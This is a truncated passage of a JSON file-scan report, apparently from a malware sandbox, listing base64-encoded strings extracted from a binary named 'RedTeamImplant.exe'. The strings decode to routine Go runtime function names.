Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcFRyYWNlYmFja1BDcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcHVud2luZEV4cGFuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcHVud2luZEV4cGFuZC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlbWNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlU29tZVdidWZz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlU29tZVdidWZzLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlU3BlY2lhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlU3RhY2tTcGFucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlemV0aGV3b3JsZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlemV0aGV3b3JsZC51c2xlZXAuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlemV0aGV3b3JsZC51c2xlZXAuZnVuYzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlemV0aGV3b3JsZC51c2xlZXAuZnVuYzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcmVlemV0aGV3b3JsZC51c2xlZXAuZnVuYzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jZGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jZmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jSW5mby5lbnRyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jSW5mby5zcmNGdW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jSW5mby52YWxpZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jbGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jbGluZTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jTWF4U1BEZWx0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jbmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jTmFtZUZvclByaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jTmFtZVBpZWNlc0ZvclByaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jcGtncGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mdW5jc3BkZWx0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2FsbGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0Fzc2lzdEFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0Fzc2lzdEFsbG9jLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0Fzc2lzdEFsbG9jLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0Fzc2lzdEFsbG9jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0JnTWFya1ByZXBhcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0JnTWFya1N0YXJ0V29ya2Vycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0JnTWFya1N0YXJ0V29ya2Vycy5nb3dyYXAx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0JnTWFya1dvcmtlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0JnTWFya1dvcmtlci5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0JnTWFya1dvcmtlci5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0NvbXB1dGVTdGFydGluZ1N0YWNrU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0NvbnRyb2xsZXJDb21taXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0RyYWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0RyYWluTWFya1dvcmtlckRlZGljYXRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0RyYWluTWFya1dvcmtlckZyYWN0aW9uYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0RyYWluTWFya1dvcmtlcklkbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0RyYWluTg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0R1bXBPYmplY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2VuYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2VuYWJsZS5nb3dyYXAx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2VuYWJsZS5nb3dyYXAy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY0ZsdXNoQmdDcmVkaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2luaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY2xpbmtwdHIucHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtEb25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtEb25lLmZvckVhY2hQLmZ1bmM1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtEb25lLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtEb25lLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtEb25lLmZ1bmMz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtEb25lLmZ1bmM0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY21hcmtuZXdvYmplY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtSb290Q2hlY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtSb290Q2hlY2suZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mb3JFYWNoUC5mdW5jNg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jMi4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jNC4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUZXJtaW5hdGlvbi5mdW5jNQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtUaW55QWxsb2Nz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY01hcmtXb3JrQXZhaWxhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1BhY2VTY2F2ZW5nZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1BhY2VTd2VlcGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1BhcmtBc3Npc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1ByZXBhcmVNYXJrUm9vdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1ByZXBhcmVNYXJrUm9vdHMuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1Jlc2V0TWFya1N0YXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1Jlc2V0TWFya1N0YXRlLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1NjYW5DbGVhbnVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1NjYW5GaW5hbGl6ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1N0YXJ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1N0YXJ0LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1N0YXJ0LmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1N0YXJ0LmZ1bmMz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1N0YXJ0LmZ1bmM0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY3N0b3Bt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1N3ZWVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1RyaWdnZXIudGVzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dha2VBbGxBc3Npc3Rz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dha2VBbGxTdHJvbmdGcm9tV2Vhaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nY1dyaXRlQmFycmllcjg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZGVzdHJveQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRjYWxsZXJmcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRDaGVja21hcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRDbGVhbnVwQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRDUFVDb3VudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRlbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRlbXB0eS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRFeHRyYU0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRmcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRHQ01hc2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRHQ01hc2tPbkRlbWFuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRHQ01hc2tPbkRlbWFuZC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRHQ01hc2tPbkRlbWFuZC5vc3lpZWxkLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRpdGFi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRsYXN0ZXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRNQ2FjaGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRQYWdlU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZXRTdGF0aWN1aW50NjRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZmdldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZmdldC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZmdldC5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZnB1cmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nZnB1dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nRnJvbVNQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nbG9icnVucWdldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nbG9icnVucWdldGJhdGNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nbG9icnVucXB1dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nbG9icnVucXB1dGJhdGNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nbG9icnVucXB1dGhlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2RlYnVnTm90aWZ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2VudnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2V4aXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2V4aXQw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2V4aXQx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2dldGVudg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb2dv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5HT01BWFBST0NT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3Bhbmlj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljSW5kZXhV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2UzQWxlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2UzQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2VBY2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2VBY2FwVQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2VBbGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2VBbGVuVQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2VC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb1BhbmljU2xpY2VCVQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3Bhcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3Bhcmt1bmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3ByZWVtcHRfbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3JlYWR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3JlY292ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3JvdXRpbmVoZWFkZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3JvdXRpbmVSZWFkeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5nb3JvdXRpbmVSZWFkeS5nb3JlYWR5LmZ1bmMx","type":"Ansi","source":"Memory/File 